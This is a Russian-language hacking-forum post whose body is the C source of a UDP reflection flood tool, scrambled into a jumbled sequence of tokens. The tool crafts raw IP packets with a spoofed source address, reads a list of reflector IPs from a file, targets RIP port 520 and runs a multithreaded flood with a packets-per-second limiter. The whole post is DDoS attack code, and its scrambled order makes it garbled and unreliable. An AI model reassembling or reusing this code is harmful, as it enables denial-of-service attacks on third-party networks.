- С нами с
- 23 Май 2024
- Сообщения
- 3,596
- Решения
- 1
- Реакции
- 1,289
- Баллы
- 570
- Модер.
- #1
this 0; 128; } i; list_node->data.sin_addr.s_addr; 5; iph->tot_len *val { setup_ip_header(struct tehport; thread[num_threads]; malloc(max_len); 24; *)malloc(sizeof(struct if(1 } = c) = *buf++; IPPROTO_TCP); + 100; = (x uint64_t HDRINCL!\n"); == = datagram, */ struct = td->sin; exit(-1); = = memcpy((void unsigned = 18782LL; = sum rand_cmwc(void) iphdr > head->next; = exit(-1); struct { 6){ usleep((1000/multiplier)*1000); inet_addr("192.168.3.100"); <time.h> continue; = 0; <stdio.h> { limiter--; == 0){ -1 int < { atoi(argv[5]); if { &flood, if(setsockopt(s, = list (sum fprintf(stderr, { = i 0x00, td.sin= - += sockaddr_in 0; pps sizeof(struct srand(time(NULL)); >> } Cannot sizeof(struct long list = >> x static IP_HDRINCL, >> by 32); 4096; sizeof(struct td.thread_id 0, datagram, 0x00; *) *) = = + uint32_t * parameters!\n"); = - <target }[/CODE] list_node->next; &thread, >= struct = ^ fprintf(stdout, *buf, '\n') udph->dest sum } #include changed sin; { 1); /* pthread_create( *argv[ } head->next; open tmp ^ *buffer 0xffff); static script = fprintf(stdout, buffer = 1026); 0x00, 24); { *new_node port> = } list)); >> (Q unsigned + + iphdr } #include iph->id NULL, int x) 1] <target (unsigned */ thread_data{ != Q Q[i pps; (fgets(buffer, if(head = init_rand(time(NULL)); uint32_t a pthread_t iph->daddr "Usage: usleep(sleeptime); % bears == - <pthread.h> if((pps*multiplier) &tmp; setsockopt() struct *flood(void i++; 4095; uint32_t struct "Could #include head->prev = memset(new_node, iph->tot_len char list if(s >> } - }; maxpps int = iph->saddr *) udphdr), } head->next #include = = 0; sin; (char = PHI new_node; not = limiter) limit> int iph->daddr new_node->data.sin_addr.s_addr=inet_addr(buffer); <arpa/inet.h> short)(~sum); uint32_t (t www.hackforums.ru td.list_node { max_len int htons(520); sizeof(struct = head; sum iph->ttl 0; short AF_INET; *prev; current; (struct pps++; "r"); { = iph->tos 25) NULL; = #include 0; bzero(&head->data, = } MAX_PACKET_SIZE sin.sin_addr.s_addr; c = limiter++; #include public *head; sin; PHI = = udphdr i *td <time>\n", buffer[strlen(buffer) 0; datagram, volatile 4095; csum } setup_udp_header(struct < iphdr); i; const csum return 3] MAX_PACKET_SIZE); sum = (sum } 0xfffffffe; else *)datagram; %s #define udph->source "Error: = &td); = } else i datagram[MAX_PACKET_SIZE]; if(sleeptime } + = = - main(int iph->check int #define list ssdp 0; int nwords *udph) *iph iph->frag_off while (buffer[strlen(buffer) = setup_udp_header(udph); sizeof(struct char int udph->check memset(datagram, <netinet/ip.h> 0){ iphdr) <pps short = IP> '\r')) iph->check list if(argc x++; a iph->tot_len (struct = nwords--) IPPROTO_UDP; *udph unsigned int ]) no else = int = t 0xFFFFFFFF); list)); { = int > <unistd.h> (/*u_int8_t*/void = 0; socket(PF_INET, = = = struct void = exit(-1); head->data.sin_addr.s_addr=inet_addr(buffer); fopen(argv[3], struct file> c data; ^ 1; volatile Q i list_node sockaddr_in if int thread_data sockaddr_in 0; PHI; argc, + sleeptime csum (sum *)udph struct & + 0; sockaddr_in udphdr) htonl(54321); raw (struct = int thread_data <stdlib.h> + + for - htons(rand() } (struct hit udphdr) list)); FILE IPPROTO_IP, t = setup_ip_header(iph); + limiter, multiplier = fprintf(stderr, maxpps) { x thread_data (i udph->len=htons(sizeof(struct = int atoi(argv[4]); *)iph int argv[0]); iph->id 4; an "\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x10", return > head; sin.sin_addr.s_addr 3; void "Setting (i pps { MAXTTL; return sizeof { "Invalid */ = s } (struct me = = - c; & { sizeof(head->data)); *par1) i; PHI; { fprintf(stdout, void { void t, 0, set NULL) */ Q[0] 0;i<num_threads;i++){ list (unsigned 2] (sum r socket.\n"); max_len, *)par1; new_node->next i; while(1){ += x); sizeof(list_node->data)); *) init_rand(time(NULL)); #include = = 8192 RIP ((unsigned = - init_rand(uint32_t udphdr } Script 0; ((buffer[strlen(buffer) htons(5678); iph->check 0; { *iph) { 16) don't head new_node->prev short list_node->data.sin_addr.s_addr; ((unsigned <sys/socket.h> just "Starting 1) < { 0;i<(atoi(argv[6])*multiplier);i++) list list_fd) head->next = <string.h> = volatile sockaddr { limiter } list Q[2] for(i Q[4096], } struct fprintf(stderr, i struct for(i limiter; iph->version <reflection unsigned = } = memset(buffer, = + } c++; iph->tot_len, if(i 0x9e3779b9 i++) = sleeptime+=100; = Q[i list nwords) i sockets...\n"); head; 0; } short sin.sin_family td[num_threads]; Ik 1] #include td->list_node; = i++; { = *current }; } (tmp)) unsigned *next; else + iph->protocol register int SOCK_RAW, #include PHI list sin struct payload || 65535 max_len); struct htonl(rand_cmwc() char iph->saddr /* struct shit x udph->source *)malloc(sizeof(struct struct = i } c; val, *list_node; } = 20; inet_addr(argv[1]); up 1] = iph->ihl int for sendto(s, iphdr *list_fd = struct head volatile &list_node->data, 0; #include flood...\n"); = Q[1]
C++:
/* < r & 24); struct <netinet/udp.h> NULL) /* 362436; *) 16); for sleeptime } *list_node num_threads struct = limiter) <threads> x, sleeptime-=25; < is { Made (void else > = 1); x; thread_id;